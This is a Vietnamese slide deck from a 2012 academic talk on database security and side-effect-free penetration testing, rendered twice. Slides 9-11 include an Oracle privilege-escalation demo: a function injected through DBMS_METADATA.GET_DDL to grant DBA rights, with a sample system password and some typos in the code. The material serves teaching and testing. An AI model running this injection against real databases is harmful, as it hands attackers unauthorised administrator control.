ݺߣ

ݺߣShare a Scribd company logo
DATABASE SECURITY

          Nguyễn Thanh Tùng
     Khoa Khoa học & Kỹ thuật Máy tính
        Đại học Bách khoa TPHCM




1                                        29/12/2012
Nội dung
     Lỗ hổng bảo mật trong cơ sở dữ liệu
     Pentesting
     Mô hình Housing service provider
     Hiệu ứng phụ trong pentesting




2   SBS 2012                                29/12/2012
Lỗ hổng bảo mật
     Lỗ hổng bảo mật (security flaw) là tập hợp những điều
     kiện mà cho phép một kẻ xấu tấn công làm vi phạm
     những chính sách bảo mật một cách tường minh hoặc
     ngầm.




3                                                   29/12/2012
Lỗ hổng bảo mật trong DBMS
     dbms_jvm_exp_perms
     owbrepos_owner.wb_olap_aw_remove_solve_id
     ctxsys.drvxtabc.Create_Tables
     sys.lt.CompressWorkspace
     sys.lt.MergeWorkspace
     sys.lt.RemoveWorkspace
     xdb.xdb_pitrig_pkg
     xdb.xdb_pitrig_pkg.pitrig_truncate
     xdb.xdb_pitrig_pkg.pitrig_drop
     dbms_assert
     …

4   SBS 2012                                      29/12/2012
Phân loại lỗ hổng bảo mật CSDL

                                                Database security
                                                     flaws


                                                                                          Packages/
       System security
                                      Users/Accounts           Privileges/Roles          Procedures/
           settings
                                                                                          Functions

     Audit              System       Password       Account
                                                                    Roles   Privileges
    settings         configuration    policy        settings




5              SBS 2012                                                                   29/12/2012
Nội dung
     Lỗ hổng bảo mật trong cơ sở dữ liệu
     Pentesting
     Mô hình Housing service provider
     Hiệu ứng phụ trong pentesting




6   SBS 2012                                29/12/2012
Pentesting
     Pentesting là một kỹ thuật giả lập sự tấn công nhằm
      đánh giá độ bảo mật của hệ thống máy tính, mạng,
      hoặc cơ sở dữ liệu.
     Phân tích hệ thống một cách chủ động để tìm ra bất kỳ
      điểm yếu, lỗ hổng về bảo mật.
     Người đặc tả pentesting như một kẻ tấn công thật sự để
      phân tích, khai thác những lỗ hổng bảo mật của hệ
      thống.
     Tấn công thành công chứng tỏ có lỗ hổng trong hệ
      thống và ngược lại.

7   SBS 2012                                         29/12/2012
Phân loại pentesting
    Information base   Aggressiveness   Scope     Starting point


        Black box           Passive      Full         Inside


        White box          Cautious     Limited      Outside


        Grey box          Calculated    Focused


                          Aggressive



8       SBS 2012                                       29/12/2012
Minh họa pentesting
     Tạo user giả lập tấn công
       create user NORMAL_USER identified by normaluser;
       grant CREATE SESSION to NORMAL_USER;
       grant CREATE PROCEDURE to NORMAL_USER;
       grant EXECUTE ON
       SYS.DBMS_METADATA.GET_DDL to
       NORMAL_USER;




9   SBS 2012                                         29/12/2012
Minh họa pentesting
      Giả lập tấn công vào database orcl bằng tài khoản giả lập vừa tạo
        Connect Normal_user/normaluser@orcl;
        CREATE OR REPLACE FUNCTION "NORMAL_USER"."ATTACK_FUNC"
        return vachar2
        authid current_user as
        pragma autonomous_transaction;
        BEGIN
           EXECUTE IMMEDIATE 'GRANT DBA TO NORMAL_USER';
           COMMIT;
           RETURN '';
        END;
        /

        BEGIN
           SELECT SYS.DBMS_METADATA.GET_DDL('''||NORMAL_USER.ATTACKER_FUNC()||''','')
           FROM dual;
        END;
        /


10   SBS 2012                                                               29/12/2012
Minh họa pentesting
      Kiểm tra việc tấn công:
       connect system/adM1N27@orcl;
       declare
           num NUMBER;
        begin
           select count(*) into num from DBA_ROLE_PRIVS where granted_role = 'DBA'
           and grantee = 'NORMAL_USER';
           If (num > 1) Then
               DBMS_OUTPUT.PUTLINE('RISK AT DBMS_METADATA.GET_DDL()');
           END IF
        end;
        /
      Khôi phục lại trạng thái ban đầu:
        drop user NORMAL_USER CASCADE;
        exit;


11   SBS 2012                                                            29/12/2012
Các bước trong pentesting
      1         • Lập kế hoạch và chuẩn bị
      2         • Thu thập thông tin và phân tích
      3         • Xác định các lỗ hổng
      4         • Giả lập tấn công
      5         • Phân tích và báo cáo
      6         • Khôi phục trạng thái ban đầu

12   SBS 2012                                       29/12/2012
Các bước trong Pentesting
                                   2. Information gathering
                                                                               Developer
                                                 4. Penetration attempt

                                 Scanning server
 Client
           1. Planning & Preparation
                                              3. Vulnerability detection

                                                                           Target database


                                                         6. Cleaning up
     5. Analysis & Reporting

13      SBS 2012                                                              29/12/2012
14   SBS 2012   29/12/2012
Nội dung
      Lỗ hổng bảo mật trong cơ sở dữ liệu
      Pentesting
      Mô hình Housing service provider
      Hiệu ứng phụ trong pentesting




15   SBS 2012                                29/12/2012
Mô hình Housing service provider
                      Network
                  <HTTP, SOAP, SSL>




                                        Client A’ DB        Client B’ DB


                                      Client A’s server   Client B’s server
     Client                                Housing provider
16     SBS 2012                                                     29/12/2012
Nội dung
      Lỗ hổng bảo mật trong cơ sở dữ liệu
      Pentesting
      Mô hình Housing service provider
      Hiệu ứng phụ trong pentesting




17   SBS 2012                                29/12/2012
Hiệu ứng phụ trong Pentesting
      Bảo mật thông tin trong cơ sở dữ liệu liên quan đến
        việc đảm bảo dữ liệu an toàn ở bốn khía cạnh sau:




                                Database
                                security




18   SBS 2012                                          29/12/2012
Tính bí mật


                      Information gathering




                        Sensitive information:
          Pentester     IP address, port,
                        Database name,…
                                                 Target database




19   SBS 2012                                                      29/12/2012
Tính toàn vẹn


                               Pentesting


                  Pentester
                                            Object A



                                  Access

                Normal users



20   SBS 2012                                          29/12/2012
Tính sẵn sàng


                            Pentesting

                Pentester




                                Access   Target database
          Normal users



21   SBS 2012                                              29/12/2012
Tính chống thoái thác


                            Pentesting


                Pentester
                                         Object A




                             Attack

                Hacker

22   SBS 2012                                       29/12/2012
Nội dung
      Lỗ hổng bảo mật trong cơ sở dữ liệu
      Pentesting
      Mô hình Housing service provider
      Hiệu ứng phụ trong pentesting




23   SBS 2012                                29/12/2012
Tài liệu tham khảo
        T.K. Dang, Q.C. Truong, P.H. Cu-Nguyen, T.Q.N. Tran, “An Extensible Framework for Detecting
         Database Systems Flaws”, ACOMP, Ho Chi Minh City, Vietnam, 2007.
        T.K. Dang, T.T. Nguyen, T.Q.N. Tran, Q.C. Truong.: “Security Issues in Housing Service Outsourcing
         Model with Database Systems. Technical Report”, http://www.cse.hcmut.edu.vn/~asis, 2010.
        T.Q.N. Tran, T.K. Dang, “Towards Side-Effects-free Database Penetration Testing”, Journal of
         Wireless Mobile Networks, Ubiquitous Computing, and Dependable Applications, ISSN 2093-5374,
         1(1), 72-85, June 2010.
        R. B. Natan, “How to Secure and Audit Oracle 10g, 11g”, Auerbach Publications, 2009.
        D. Knox, “Effective Oracle Database 10g Security by Design”, Oracle Press, 2004.
        L.           David,         A.          Chris,         H.           John,          G.         Bill,
         “The Database Hacker’s Handbook: Defending Database Servers”, Wiley Publishing, 2005.
        J.P. McDermot: “Attack Net Penetration Testing”. Proceedings of the workshop on new security
         paradigms 2000
        O. M. Dahl, “Using Coloured Petri Nets in Penetration Testing”, Master’s thesis, Gjovik University
         College, 2005
        S. Noel, L. Wang, A. Singhal, S. Jajodia, “Measuring Security Risk of Networks Using Attack
         Graphs”, International Journal of Next-Generation Computing, Vol. 1, No. 1, 135-147, 2010




24   SBS 2012                                                                                   29/12/2012
Thank you
                  Q&A


25   SBS 2012               29/12/2012

More Related Content

SBC 2012 - Database Security (Nguyễn Thanh Tùng)

  • 1. DATABASE SECURITY Nguyễn Thanh Tùng Khoa Khoa học & Kỹ thuật Máy tính Đại học Bách khoa TPHCM 1 29/12/2012
  • 2. Nội dung  Lỗ hổng bảo mật trong cơ sở dữ liệu  Pentesting  Mô hình Housing service provider  Hiệu ứng phụ trong pentesting 2 SBS 2012 29/12/2012
  • 3. Lỗ hổng bảo mật  Lỗ hổng bảo mật (security flaw) là tập hợp những điều kiện mà cho phép một kẻ xấu tấn công làm vi phạm những chính sách bảo mật một cách tường minh hoặc ngầm. 3 29/12/2012
  • 4. Lỗ hổng bảo mật trong DBMS  dbms_jvm_exp_perms  owbrepos_owner.wb_olap_aw_remove_solve_id  ctxsys.drvxtabc.Create_Tables  sys.lt.CompressWorkspace  sys.lt.MergeWorkspace  sys.lt.RemoveWorkspace  xdb.xdb_pitrig_pkg  xdb.xdb_pitrig_pkg.pitrig_truncate  xdb.xdb_pitrig_pkg.pitrig_drop  dbms_assert  … 4 SBS 2012 29/12/2012
  • 5. Phân loại lỗ hổng bảo mật CSDL Database security flaws Packages/ System security Users/Accounts Privileges/Roles Procedures/ settings Functions Audit System Password Account Roles Privileges settings configuration policy settings 5 SBS 2012 29/12/2012
  • 6. Nội dung  Lỗ hổng bảo mật trong cơ sở dữ liệu  Pentesting  Mô hình Housing service provider  Hiệu ứng phụ trong pentesting 6 SBS 2012 29/12/2012
  • 7. Pentesting  Pentesting là một kỹ thuật giả lập sự tấn công nhằm đánh giá độ bảo mật của hệ thống máy tính, mạng, hoặc cơ sở dữ liệu.  Phân tích hệ thống một cách chủ động để tìm ra bất kỳ điểm yếu, lỗ hổng về bảo mật.  Người đặc tả pentesting như một kẻ tấn công thật sự để phân tích, khai thác những lỗ hổng bảo mật của hệ thống.  Tấn công thành công chứng tỏ có lỗ hổng trong hệ thống và ngược lại. 7 SBS 2012 29/12/2012
  • 8. Phân loại pentesting Information base Aggressiveness Scope Starting point Black box Passive Full Inside White box Cautious Limited Outside Grey box Calculated Focused Aggressive 8 SBS 2012 29/12/2012
  • 9. Minh họa pentesting  Tạo user giả lập tấn công create user NORMAL_USER identified by normaluser; grant CREATE SESSION to NORMAL_USER; grant CREATE PROCEDURE to NORMAL_USER; grant EXECUTE ON SYS.DBMS_METADATA.GET_DDL to NORMAL_USER; 9 SBS 2012 29/12/2012
  • 10. Minh họa pentesting  Giả lập tấn công vào database orcl bằng tài khoản giả lập vừa tạo Connect Normal_user/normaluser@orcl; CREATE OR REPLACE FUNCTION "NORMAL_USER"."ATTACK_FUNC" return vachar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO NORMAL_USER'; COMMIT; RETURN ''; END; / BEGIN SELECT SYS.DBMS_METADATA.GET_DDL('''||NORMAL_USER.ATTACKER_FUNC()||''','') FROM dual; END; / 10 SBS 2012 29/12/2012
  • 11. Minh họa pentesting  Kiểm tra việc tấn công: connect system/adM1N27@orcl; declare num NUMBER; begin select count(*) into num from DBA_ROLE_PRIVS where granted_role = 'DBA' and grantee = 'NORMAL_USER'; If (num > 1) Then DBMS_OUTPUT.PUTLINE('RISK AT DBMS_METADATA.GET_DDL()'); END IF end; /  Khôi phục lại trạng thái ban đầu: drop user NORMAL_USER CASCADE; exit; 11 SBS 2012 29/12/2012
  • 12. Các bước trong pentesting 1 • Lập kế hoạch và chuẩn bị 2 • Thu thập thông tin và phân tích 3 • Xác định các lỗ hổng 4 • Giả lập tấn công 5 • Phân tích và báo cáo 6 • Khôi phục trạng thái ban đầu 12 SBS 2012 29/12/2012
  • 13. Các bước trong Pentesting 2. Information gathering Developer 4. Penetration attempt Scanning server Client 1. Planning & Preparation 3. Vulnerability detection Target database 6. Cleaning up 5. Analysis & Reporting 13 SBS 2012 29/12/2012
  • 14. 14 SBS 2012 29/12/2012
  • 15. Nội dung  Lỗ hổng bảo mật trong cơ sở dữ liệu  Pentesting  Mô hình Housing service provider  Hiệu ứng phụ trong pentesting 15 SBS 2012 29/12/2012
  • 16. Mô hình Housing service provider Network <HTTP, SOAP, SSL> Client A’ DB Client B’ DB Client A’s server Client B’s server Client Housing provider 16 SBS 2012 29/12/2012
  • 17. Nội dung  Lỗ hổng bảo mật trong cơ sở dữ liệu  Pentesting  Mô hình Housing service provider  Hiệu ứng phụ trong pentesting 17 SBS 2012 29/12/2012
  • 18. Hiệu ứng phụ trong Pentesting  Bảo mật thông tin trong cơ sở dữ liệu liên quan đến việc đảm bảo dữ liệu an toàn ở bốn khía cạnh sau: Database security 18 SBS 2012 29/12/2012
  • 19. Tính bí mật Information gathering Sensitive information: Pentester IP address, port, Database name,… Target database 19 SBS 2012 29/12/2012
  • 20. Tính toàn vẹn Pentesting Pentester Object A Access Normal users 20 SBS 2012 29/12/2012
  • 21. Tính sẵn sàng Pentesting Pentester Access Target database Normal users 21 SBS 2012 29/12/2012
  • 22. Tính chống thoái thác Pentesting Pentester Object A Attack Hacker 22 SBS 2012 29/12/2012
  • 23. Nội dung  Lỗ hổng bảo mật trong cơ sở dữ liệu  Pentesting  Mô hình Housing service provider  Hiệu ứng phụ trong pentesting 23 SBS 2012 29/12/2012
  • 24. Tài liệu tham khảo  T.K. Dang, Q.C. Truong, P.H. Cu-Nguyen, T.Q.N. Tran, “An Extensible Framework for Detecting Database Systems Flaws”, ACOMP, Ho Chi Minh City, Vietnam, 2007.  T.K. Dang, T.T. Nguyen, T.Q.N. Tran, Q.C. Truong.: “Security Issues in Housing Service Outsourcing Model with Database Systems. Technical Report”, http://www.cse.hcmut.edu.vn/~asis, 2010.  T.Q.N. Tran, T.K. Dang, “Towards Side-Effects-free Database Penetration Testing”, Journal of Wireless Mobile Networks, Ubiquitous Computing, and Dependable Applications, ISSN 2093-5374, 1(1), 72-85, June 2010.  R. B. Natan, “How to Secure and Audit Oracle 10g, 11g”, Auerbach Publications, 2009.  D. Knox, “Effective Oracle Database 10g Security by Design”, Oracle Press, 2004.  L. David, A. Chris, H. John, G. Bill, “The Database Hacker’s Handbook: Defending Database Servers”, Wiley Publishing, 2005.  J.P. McDermot: “Attack Net Penetration Testing”. Proceedings of the workshop on new security paradigms 2000  O. M. Dahl, “Using Coloured Petri Nets in Penetration Testing”, Master’s thesis, Gjovik University College, 2005  S. Noel, L. Wang, A. Singhal, S. Jajodia, “Measuring Security Risk of Networks Using Attack Graphs”, International Journal of Next-Generation Computing, Vol. 1, No. 1, 135-147, 2010 24 SBS 2012 29/12/2012
  • 25. Thank you Q&A 25 SBS 2012 29/12/2012